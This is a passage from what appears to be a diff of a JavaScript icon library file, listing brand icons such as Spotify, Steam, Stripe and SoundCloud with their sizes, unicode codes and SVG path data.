8.212-1.204 9.96-2.171-2.043-35.936-7.101-87.29 5.687-115.969C158.122 21.304 229.705 15.42 250.826 15.42c.944 0 9.141-.089 10.11-.089 52.148 0 102.254 26.78 126.723 81.643 12.777 28.65 7.749 79.792 5.695 116.009 1.582.872 4.357 1.942 8.599 2.139 6.397-.286 13.815-2.389 22.069-6.257 6.085-2.846 14.406-2.461 20.48.058l.029.01c9.476 3.385 15.439 10.215 15.589 17.87.184 9.747-8.522 18.165-25.878 25.018-2.118.835-4.694 1.655-7.434 2.525-9.797 3.106-24.6 7.805-28.616 17.271-2.079 4.904-1.256 11.211 2.46 18.748.087.168.166.342.239.515 1.301 3.03 32.615 74.46 102.23 85.934 6.427 1.058 11.163 7.877 7.725 15.859z" ], + "snapchat-square": [ 448, 512, [], "f2ad", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6.5 314.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C159.1 100 206.7 96 220.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z" ], + soundcloud: [ 640, 512, [], "f1be", "M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z" ], + sourcetree: [ 448, 512, [], "f7d3", "M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z" ], + speakap: [ 448, 512, [], "f3f3", "M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z" ], + "speaker-deck": [ 512, 512, [], "f83c", "M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z" ], + spotify: [ 496, 512, [], "f1bc", "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z" ], + squarespace: [ 512, 512, [], "f5be", "M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z" ], + "stack-exchange": [ 448, 512, [], "f18d", "M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z" ], + "stack-overflow": [ 384, 512, [], "f16c", "M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z" ], + stackpath: [ 448, 512, [], "f842", "M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z" ], + staylinked: [ 440, 512, [], "f3f5", "M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z" ], + steam: [ 496, 512, [], "f1b6", "M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z" ], + "steam-square": [ 448, 512, [], "f1b7", "M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z" ], + "steam-symbol": [ 448, 512, [], "f3f6", "M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z" ], + "sticker-mule": [ 576, 512, [], "f3f7", "M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z" ], + strava: [ 384, 512, [], "f428", "M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z" ], + stripe: [ 640, 512, [], "f429", "M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z" ], + "stripe-s": [ 384, 512, [], "f42a", "M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z" ], + studiovinari: [ 512, 512, [], "f3f8", "M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z" ], + stumbleupon: [ 512, 512, [], "f1a4", "M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z" ], + "stumbleupon-circle": [ 496, 512, [], "f1a3", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z" ], + superpowers: [ 448, 512, [], "f2dd", "M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z" ], + supple: [ 640, 512, [], "f3f9", "M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z" ], + suse: [ 640, 512, [], "f7d6", "M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 